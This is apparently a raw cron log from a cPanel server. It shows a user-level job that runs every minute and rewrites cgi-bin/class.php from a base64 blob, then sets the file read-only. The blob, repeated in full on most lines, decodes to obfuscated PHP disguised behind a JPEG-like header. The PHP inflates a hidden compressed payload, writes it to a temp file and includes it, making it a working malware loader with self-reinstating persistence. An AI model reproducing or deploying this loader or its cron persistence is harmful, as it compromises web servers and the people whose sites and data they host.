&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:00:01 server CROND[22473]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:00:01 server CROND[22474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:00:01 server CROND[22477]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 01:01:01 server CROND[22805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:01:01 server CROND[22806]: (root) CMD (run-parts /etc/cron.hourly)
Nov 16 01:01:01 server run-parts(/etc/cron.hourly)[22806]: starting 0anacron
Nov 16 01:01:01 server anacron[22818]: Anacron started on 2025-11-16
Nov 16 01:01:01 server anacron[22818]: Normal exit (0 jobs run)
Nov 16 01:01:01 server run-parts(/etc/cron.hourly)[22820]: finished 0anacron
Nov 16 01:02:01 server CROND[23090]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:03:01 server CROND[23344]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:04:01 server CROND[23695]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:05:01 server CROND[23959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:05:01 server CROND[23960]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:05:01 server CROND[23961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:05:01 server CROND[23962]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 01:06:01 server CROND[24286]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:07:01 server CROND[24615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:08:01 server CROND[24891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:09:01 server CROND[25250]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:09:01 server CROND[25251]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 16 01:10:01 server CROND[25521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:10:01 server CROND[25523]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:10:01 server CROND[25522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 01:10:01 server CROND[25524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:11:01 server CROND[25841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:12:01 server CROND[26107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:12:01 server CROND[26108]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
